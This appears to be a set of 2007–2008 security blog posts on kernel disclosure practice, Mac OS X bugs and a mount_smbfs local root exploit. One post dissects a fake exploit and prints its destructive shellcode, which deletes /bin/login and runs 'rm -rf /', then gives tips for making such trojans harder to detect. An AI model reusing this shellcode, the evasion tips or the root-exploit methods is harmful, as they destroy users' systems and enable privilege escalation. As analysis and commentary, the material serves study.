spender and the PaX Team have possibly contributed the most important advances in proactive defense technology for the past decade. ASLR was there before it became a marketing buzzword, NX and memory protections enforcement existed way before Red Hat pushed ExecShield to the Linux kernel and TCP & UDP source port randomization have been known for a while (even though now they seem to be the world’s new internet superheroes with all this DNS the-end-is-nigh media frenzy).

If you have used grsecurity in the past few years, you’ve used what Microsoft, Apple and Red Hat pretended to market as brand new technology baked in their very own development cubicles.

The story now is how the Linux kernel developers managed to absolutely and irremediably piss off the very same people that fed them with security research and technology that really worked as expected. The very same people that have patched upstream vulnerabilities in their “third-party patches“.

Back in 2005 (see [1]) this was already happening. The fact that now we have a handy git interface where we can retrieve commit logs without difficulty just helps to pinpoint the silently patched issues and identify potentially hot issues.

Our take on this fracas is that spender and the PaX Team are rock-solid consistent with their arguments, and that the Linux kernel development people should definitely change their alleged full-disclosure policy text with one more accurate according to their true practices.

1. grsecurity 2.1.0 release / 5 Linux kernel advisories (LWN)
2. What RedHat doesn’t want you to know about ExecShield (without NX) (Dailydave, May 2007)
3. Linux’s unofficial security-through-coverup policy (Dailydave, July 2008)
4. Linux’s Security Through Obscurity (Slashdot, July 2008)

When CVE-2007-0015 was published by the Month of Apple Bugs team, their exploit used a QTL Quicktime playlist file for triggering the bug. Whether their decision was because of preventing the exploit from being used “en masse” or simply for testing a different, less classic attack vector, it’s still worth noting that it could have worked far more efficiently via Safari, since Quicktime supports embedding playlist files and the Safari process address space would be easily subverted to ensure a higher degree of reliability when executing our payload.

Sometimes it’s good to remember old flaws, and improve old exploit code. Sometimes it’s even better to use new attack vectors on old flaws, too.

The problem is that both functions don’t necessarily work in the same manner across different implementations. The address parameter to both might be required to be page-aligned (rounded up to the size of a memory page, for example 4096 bytes in x86).

What happens if we supply a non-page aligned memory address? If the implementation rounds up by default, we will be either locking a whole page or unlocking it, if we use mlock() or munlock() respectively. That means all the memory contents within the same page will be affected. This might not be an issue during locking, but when you are unlocking, it’s a different situation… we might expose data that was supposed to remain locked and compromise other secrets.

The only solution to this issue is to have a consensus between vendors and implement the same behavior. That, or design and develop your own secure memory pool !

To illustrate this post, you can see below the implementation for Mac OS X Leopard (10.5):

972 int
973 mlock(__unused proc_t p, struct mlock_args *uap, __unused register_t *retvalval)
974 {
975         vm_map_t user_map;
976         vm_map_offset_t addr;
977         vm_map_size_t size, pageoff;
978         kern_return_t   result;
979
--
982
983         addr = (vm_map_offset_t) uap->addr;
984         size = (vm_map_size_t)uap->len;
985
986         /* disable wrap around */
987         if (addr + size < addr)
988                 return (EINVAL);
989
990         if (size == 0)
991                 return (0);
992
993         pageoff = (addr & PAGE_MASK);
994         addr -= pageoff;
995         size = vm_map_round_page(size+pageoff);
996         user_map = current_map();

When writing a vnode scope listener, be aware that not every file system operation will trigger an authorization request. For example, if an actor successfully requests KAUTH_VNODE_SEARCH on a directory, the system may cache that result and grant future requests without invoking your listener for each one.

Albeit we haven’t verified this any further, it’s at very least interesting. Does that mean that a security decision might be cached and applied again under potentially circumstances? Huh. It’s true that a vnode scope listener can be one hell of a performance black-hole, but race conditions due to cached decisions is worse than slowing down file system operations, especially if the module overrides other policies.

While reading through the secmodel securelevel source, we spotted this interesting snippet:

case KAUTH_REQ_SYSTEM_TIME_SYSTEM: {

 struct timespec *ts = arg1;
 struct timeval *delta = arg2;

/*
  * Don't allow the time to be set forward so far it will wrap
  * and become negative, thus allowing an attacker to bypass
  * the next check below.  The cutoff is 1 year before rollover
  * occurs, so even if the attacker uses adjtime(2) to move
  * the time past the cutoff, it will take a very long time
  * to get to the wrap point.
  *
  * XXX: we check against INT_MAX since on 64-bit
  *      platforms, sizeof(int) != sizeof(long) and
  *      time_t is 32 bits even when atv.tv_sec is 64 bits.
  */

 if (securelevel > 1 &&
     ((ts->tv_sec > INT_MAX - 365*24*60*60) ||
      (delta->tv_sec < 0 || delta->tv_usec < 0)))
 	result = KAUTH_RESULT_DENY;

break;
}

Our exploit pack already provides a reliable exploit against this and other recent flaws, and there’s no real exploit for this flaw publicly available (in terms of quality and reliability). It’s quite possible that so-called drive-by malware installation kits are making use of this flaw to infect unsuspecting users.

We expected Apple to perform some due diligence with Quicktime’s QA, since the last real 1990 style flaws have been all related to RTSP functionality, but looks like they are still missing some guidance. Hopefully it won’t take long for them to realize that something like SDL could significantly improve their product security.

/*
 * This exploits a wierd state condition in Subversion < = 1.4.4.
 * When the incoming connection stack is filled via many incoming
 * syns in concurance with shifting the rev_ptr struct over a
 * variable gap of memory a boundary condition occurs which corrupts
 * a func ptr to point several bytes backwards. A call is forced
 * through "checkout-latest-rev" with our shellcode in place.
 *
 * This Vuln is NOT public, do NOT release this code or any
 * information pertaining to this bug.
 *
 * Author: onionring
 */

Behind a serious sounding description, there’s really nothing technically valid. It’s just “mumbo jumbo” to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).

We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):

char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";

Let’s take a look over the disassembly and strings. We notice a call to the signal() system call:

From include/asm-i386/unistd.h
#define __NR_signal              48

From include/asm-generic/signal.h
/* ignore signal */
#define SIG_IGN ((__force __sighandler_t)1)

From include/asm-i386/signal.h
#define SIGHUP           1

00000030  31C0              xor eax,eax
00000032  89C3              mov ebx,eax
00000034  89C1              mov ecx,eax
00000036  41                inc ecx
00000037  B030              mov al,0x30
00000039  CD80              int 0x80

Later it issues a fork() call and, as a reply in full-disclosure thread, seems to be part of a typical fork() bomb procedure.

That’s rather uninteresting anyway, except for the fact that its intention is likely to render the machine unusable while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment ) part is executed.

0000006F  31C0              xor eax,eax
00000071  50                push eax
00000072  686F67696E        push dword 0x6e69676f
00000077  68696E2F6C        push dword 0x6c2f6e69
0000007C  682F2F2F62        push dword 0x622f2f2f
00000081  89E3              mov ebx,esp
00000083  31C0              xor eax,eax
00000085  040A              add al,0xa
00000087  CD80              int 0x80

There you go. This annoyance is nothing but an unlink() call to remove the /bin/login file. The situation is aggravated by the fact that the fake exploit, using raw sockets as excuse, requires root privileges to run:

 if (getuid() != 0) {
    fprintf(stderr, "[E] Need root privs for raw sockets\n");
    exit(1);
  }

And finally the mandatory execve() of /bin/rm -rf /, which is typical in these cases.

00000089  31C0              xor eax,eax
0000008B  50                push eax
0000008C  682A2F2F2F        push dword 0x2f2f2f2a
00000091  89E2              mov edx,esp
00000093  50                push eax
00000094  682D726666        push dword 0x6666722d
00000099  89E1              mov ecx,esp
0000009B  50                push eax
0000009C  686E2F726D        push dword 0x6d722f6e
000000A1  682F2F6269        push dword 0x69622f2f
000000A6  89E3              mov ebx,esp
000000A8  50                push eax
000000A9  52                push edx
000000AA  51                push ecx
000000AB  53                push ebx
000000AC  89E1              mov ecx,esp
000000AE  31D2              xor edx,edx
000000B0  040B              add al,0xb
000000B2  CD80              int 0x80

You can use the watson.org LXR installation for looking up system call numbers, and other constants. The disassembly is clear and easy to interpret, it shouldn’t be a problem to understand what’s going on.

Why are fake exploits necessary? They usually catch script kiddies and other annoying people, and the technically skilled guys won’t bother running them without inspection (there are exceptions, though ). They serve as great jokes, even if some can cause significant damage to the system (unless you run them inside a hardened chroot environment, with a solid patch like grsecurity that prevents several techniques to break out of the chroot).

How to make them more subtle and reliable? Some simple tips:

1. XOR is simple, your shellcode should make use of encoded strings. The very first thing most people do is run strings against your exploit in compiled form.
   1. Even better, encode the whole shellcode. Metasploit can help you there
2. Quite some script kiddies know how to patch and compile a kernel. They can use Gentoo, and they could be aware of the existence of something wonderful known as PaX. A fake exploit that relies on overflowing a stack-based buffer of its own (in other words, attempting to exploit itself) might not work in some cases.
   1. Use a subtle pointer reassignment.
   2. Use a signal handler.
   3. Obfuscate the calls via macros…
   4. mprotect() is your friend. Make it subtle, though.
3. People will be much more careful with an exploit that requires root privileges to run. And the raw sockets trick has been used way too much already. You really don’t need to be root to do real damage.

There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. One of them was wu261.c, in 2001.

>Hey, I’m told that this exploit like eats your hard drive or something.
>Caveat emptor and all, but I figured since I actually heard about this,
>I’d let you know. I guess it’s a spoofed note.
> BB

Side note: Michal Zalewski (lcamtuf, working now for Google) released back in 2004 a tool to aid in detection of fake exploits, known as “fakebust“.

$ ./mount_smbfs_root
Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit
Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
Mapping shellcode from file via shared_region_map_file_np()...
Shellcode mapped: mapping starts at 0x9ffff000, shellcode at 9fffff71
Payload size: 1064 (1040 padding bytes), Return address: 0x9fffff71
mount_smbfs: workgroup name 'AAAA...'
malcomx:/Users/nonpriv root# id
uid=0(root) gid=501(nonpriv) groups=501(nonpriv), 81(appserveradm), 79(appserverusr), 80(admin)
malcomx:/Users/nonpriv root# exit
exit

It is available at our corporate public repository, as well as the Milw0rm website.

• Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit (At Subreption public repository)
• Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit (Mirror)
• The original Ruby proof of concept: mount_smbfs_root.rb

Starting January 2008, our focus will be set on the development and polishing of a commercial exploit code and penetration-testing toolset, comprising several reliable exploits and tools to aid security professionals in penetration-tests, IDS and HIPS developers, as well as serving as an educational resource on exploit techniques, IDS evasion and general information security for the Mac OS X, Solaris, Linux and Microsoft Windows platforms, from a strictly technical perspective.

We are interested on partnerships with prospective security vendors and especially companies with strong focus on research and a consistent record of developing innovative, technically complex security work. For more information, you can contact us at . We will carefully examine all offers on a case-by-case basis.

Apparently, a regression was introduced into Tiger via one of the updates (in previous audits we didn’t find this binary to be affected by this vulnerability), and made the mount_smbfs root-setuid binary vulnerable to a trivially exploitable stack-based buffer overflow, which allows (root) privilege escalation for any user on the system.

The condition triggers when an overly long string is passed as parameter to the -W (workgroup name) option. Depending on how many registers you require, the padding size is approximately 1040+16 bytes for x86, to overwrite eip.

One of the requirements to abuse this issue properly is doing a setuid(0) call, in order to make the root privileges effective. There are different possibilities to successfully exploit this issue:

• Control eax, return to setuid(), with saved eip pointing at system() and argument set to shell of choice (ie. use the SHELL environment variable value).
• Find a stable or almost stable location for your shellcode on dynamically allocated memory (in this case, heap memory). This might be tricky for this specific issue, since we are calling a command line tool that does very little use of malloc().
  • You might notice some data replication in a MALLOC_LARGE section… it could be in Unicode format.
  • Play with sending large arguments to the command line, any changes?
• As we explained in previous posts, on PowerPC you don’t need to worry about bypassing NX stack: the stack is executable by default. It can’t be easier.

Apple definitely needs to deploy some sort of Secure Development Lifecycle. Not because it was popularized by Microsoft, not because we want a cheap shot at Apple, but because it simply works. And we don’t agree with some security practices at Microsoft as well (namely the ASLR of Vista; while it’s more solid than Leopard’s, it’s still not enough for many real world scenarios — for in-depth documentation on the ASLR concept, read its PaX project documentation).

Don’t call it SDL. Make it the “Apple Secure Development iLifecycle”. But please, security updates also need to be tested against a regression test suite! We really enjoy using iWorks 2008 but we don’t like vulnerable root-setuid binaries.

1. There’s no protection against process-level threats: code injection and subverting processes already trusted by the firewall are completely possible.
   1. There has been research in other platforms about the implications of injecting code in the context of a trusted process to bypass the firewall (see Advanced Windows Firewall Subversion, also Phrack 62: Using Process Infection to Bypass Windows Software Firewalls).
      1. Mac OS X has several interfaces allowing process interaction at low-level.
      2. Ability to load code dynamically is present for all processes in the system.
      3. Apparently, runtime code manipulation wasn’t contemplated by Apple as a potential security issue.
         1. No integrity checks done, signing a binary image is not enough if it can be tampered on memory later!
2. It works on communication direction basis: inbound, outbound. No way to control what happens in a fine-grained manner.
   1. The Ruby, Python or Perl interpreters bind a socket to listen for connections, and you allow it through the firewall. What’s wrong with that?
      1. Metasploit includes PHP payloads: remote access with the privileges of the user running the interpreter.
      2. Any script will be able to perform network operations within the limits of the firewall configuration: by default, allow incoming connections.
         1. In other words, an attacker will be able to trivially bypass the firewall using a script interpreter like Ruby.

We are working towards developing a proof of concept demonstrating these issues (and other nice tricks) in technical detail; until that happens, stay tuned and enjoy the Christmas holidays